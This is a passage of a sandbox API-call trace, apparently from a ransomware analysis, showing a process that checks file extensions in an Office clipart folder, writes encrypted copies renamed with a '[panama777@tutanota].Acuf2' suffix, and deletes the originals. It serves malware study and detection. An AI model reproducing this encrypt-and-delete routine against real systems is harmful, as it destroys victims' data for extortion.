	[0254.851] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.851] lstrlenW (lpString=".1cd") returned 4
	[0254.851] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.851] lstrlenW (lpString=".jpg") returned 4
	[0254.852] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.852] lstrlenW (lpString=".doc") returned 4
	[0254.852] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.852] lstrlenW (lpString=".docx") returned 5
	[0254.852] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.852] lstrlenW (lpString=".pdf") returned 4
	[0254.852] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.852] lstrlenW (lpString=".xls") returned 4
	[0254.852] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.852] lstrlenW (lpString=".xlsx") returned 5
	[0254.852] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.852] lstrlenW (lpString=".ppt") returned 4
	[0254.852] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.852] lstrlenW (lpString=".zip") returned 4
	[0254.852] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.852] lstrlenW (lpString=".rar") returned 4
	[0254.852] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.852] lstrlenW (lpString=".bz2") returned 4
	[0254.852] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.852] lstrlenW (lpString=".7z") returned 3
	[0254.852] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.852] lstrlenW (lpString=".dbf") returned 4
	[0254.852] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.852] lstrlenW (lpString=".1cd") returned 4
	[0254.852] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63
	[0254.853] lstrlenW (lpString=".jpg") returned 4
	[0254.853] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.853] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.853] lstrlenW (lpString="HTECH_01.MID") returned 12
	[0254.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.862] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=7178) returned 1
	[0254.862] CloseHandle (hObject=0x330) returned 1
	[0254.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20
	[0254.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.984] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.984] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0255.271] GetLastError () returned 0x0
	[0255.271] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x1c0a, lpOverlapped=0x0) returned 1
	[0255.281] WriteFile (in: hFile=0x350, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1c10, lpOverlapped=0x0) returned 1
	[0255.282] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.282] WriteFile (in: hFile=0x350, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.282] SetEndOfFile (hFile=0x350) returned 1
	[0255.283] CloseHandle (hObject=0x350) returned 1
	[0255.283] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.283] SetEndOfFile (hFile=0x330) returned 1
	[0255.287] CloseHandle (hObject=0x330) returned 1
	[0255.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1
	[0255.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.327] lstrlenW (lpString=".doc") returned 4
	[0255.327] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.327] lstrlenW (lpString=".docx") returned 5
	[0255.327] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.327] lstrlenW (lpString=".pdf") returned 4
	[0255.327] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.327] lstrlenW (lpString=".xls") returned 4
	[0255.328] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.328] lstrlenW (lpString=".xlsx") returned 5
	[0255.328] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.328] lstrlenW (lpString=".ppt") returned 4
	[0255.328] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.328] lstrlenW (lpString=".zip") returned 4
	[0255.328] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.328] lstrlenW (lpString=".rar") returned 4
	[0255.328] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.328] lstrlenW (lpString=".bz2") returned 4
	[0255.328] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.328] lstrlenW (lpString=".7z") returned 3
	[0255.328] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.328] lstrlenW (lpString=".dbf") returned 4
	[0255.328] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.328] lstrlenW (lpString=".1cd") returned 4
	[0255.328] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.328] lstrlenW (lpString=".jpg") returned 4
	[0255.328] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.328] lstrlenW (lpString=".doc") returned 4
	[0255.328] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.328] lstrlenW (lpString=".docx") returned 5
	[0255.328] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.328] lstrlenW (lpString=".pdf") returned 4
	[0255.329] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.329] lstrlenW (lpString=".xls") returned 4
	[0255.329] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.329] lstrlenW (lpString=".xlsx") returned 5
	[0255.329] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.329] lstrlenW (lpString=".ppt") returned 4
	[0255.329] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.329] lstrlenW (lpString=".zip") returned 4
	[0255.329] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.329] lstrlenW (lpString=".rar") returned 4
	[0255.329] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.329] lstrlenW (lpString=".bz2") returned 4
	[0255.329] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.329] lstrlenW (lpString=".7z") returned 3
	[0255.329] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.329] lstrlenW (lpString=".dbf") returned 4
	[0255.329] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.329] lstrlenW (lpString=".1cd") returned 4
	[0255.329] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63
	[0255.329] lstrlenW (lpString=".jpg") returned 4
	[0255.329] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.329] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.329] lstrlenW (lpString="OUTDR_01.MID") returned 12
	[0255.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.340] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6644) returned 1
	[0255.340] CloseHandle (hObject=0x334) returned 1
	[0255.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 0x20
	[0255.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.342] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.342] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.342] GetLastError () returned 0x0
	[0255.342] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x19f4, lpOverlapped=0x0) returned 1
	[0255.344] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1a00, lpOverlapped=0x0) returned 1
	[0255.345] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.345] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.345] SetEndOfFile (hFile=0x354) returned 1
	[0255.345] CloseHandle (hObject=0x354) returned 1
	[0255.345] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.345] SetEndOfFile (hFile=0x334) returned 1
	[0255.348] CloseHandle (hObject=0x334) returned 1
	[0255.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1
	[0255.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.349] lstrlenW (lpString=".doc") returned 4
	[0255.349] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.349] lstrlenW (lpString=".docx") returned 5
	[0255.349] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.349] lstrlenW (lpString=".pdf") returned 4
	[0255.349] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.349] lstrlenW (lpString=".xls") returned 4
	[0255.349] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.349] lstrlenW (lpString=".xlsx") returned 5
	[0255.349] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.349] lstrlenW (lpString=".ppt") returned 4
	[0255.349] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.349] lstrlenW (lpString=".zip") returned 4
	[0255.349] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.349] lstrlenW (lpString=".rar") returned 4
	[0255.349] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.349] lstrlenW (lpString=".bz2") returned 4
	[0255.349] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.349] lstrlenW (lpString=".7z") returned 3
	[0255.349] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.349] lstrlenW (lpString=".dbf") returned 4
	[0255.349] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.349] lstrlenW (lpString=".1cd") returned 4
	[0255.349] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.349] lstrlenW (lpString=".jpg") returned 4
	[0255.349] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.350] lstrlenW (lpString=".doc") returned 4
	[0255.350] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.350] lstrlenW (lpString=".docx") returned 5
	[0255.350] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.350] lstrlenW (lpString=".pdf") returned 4
	[0255.350] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.350] lstrlenW (lpString=".xls") returned 4
	[0255.350] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.350] lstrlenW (lpString=".xlsx") returned 5
	[0255.350] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.350] lstrlenW (lpString=".ppt") returned 4
	[0255.350] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.350] lstrlenW (lpString=".zip") returned 4
	[0255.350] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.350] lstrlenW (lpString=".rar") returned 4
	[0255.350] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.350] lstrlenW (lpString=".bz2") returned 4
	[0255.350] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.350] lstrlenW (lpString=".7z") returned 3
	[0255.350] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.350] lstrlenW (lpString=".dbf") returned 4
	[0255.350] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.350] lstrlenW (lpString=".1cd") returned 4
	[0255.350] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63
	[0255.351] lstrlenW (lpString=".jpg") returned 4
	[0255.351] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.351] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.351] lstrlenW (lpString="PARNT_01.MID") returned 12
	[0255.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.351] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=6491) returned 1
	[0255.351] CloseHandle (hObject=0x334) returned 1
	[0255.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20
	[0255.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.352] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.352] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.352] GetLastError () returned 0x0
	[0255.352] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x195b, lpOverlapped=0x0) returned 1
	[0255.354] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x1960, lpOverlapped=0x0) returned 1
	[0255.355] ReadFile (in: hFile=0x334, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.355] WriteFile (in: hFile=0x354, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.355] SetEndOfFile (hFile=0x354) returned 1
	[0255.355] CloseHandle (hObject=0x354) returned 1
	[0255.355] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.355] SetEndOfFile (hFile=0x334) returned 1
	[0255.358] CloseHandle (hObject=0x334) returned 1
	[0255.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1
	[0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.359] lstrlenW (lpString=".doc") returned 4
	[0255.359] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.359] lstrlenW (lpString=".docx") returned 5
	[0255.359] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.359] lstrlenW (lpString=".pdf") returned 4
	[0255.359] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.359] lstrlenW (lpString=".xls") returned 4
	[0255.359] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.359] lstrlenW (lpString=".xlsx") returned 5
	[0255.359] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.359] lstrlenW (lpString=".ppt") returned 4
	[0255.359] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.359] lstrlenW (lpString=".zip") returned 4
	[0255.359] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.359] lstrlenW (lpString=".rar") returned 4
	[0255.359] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.359] lstrlenW (lpString=".bz2") returned 4
	[0255.359] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.359] lstrlenW (lpString=".7z") returned 3
	[0255.359] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.360] lstrlenW (lpString=".dbf") returned 4
	[0255.360] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.360] lstrlenW (lpString=".1cd") returned 4
	[0255.360] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63
	[0255.360] lstrlenW (lpString=".jpg") returned 4
	[0255.360] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
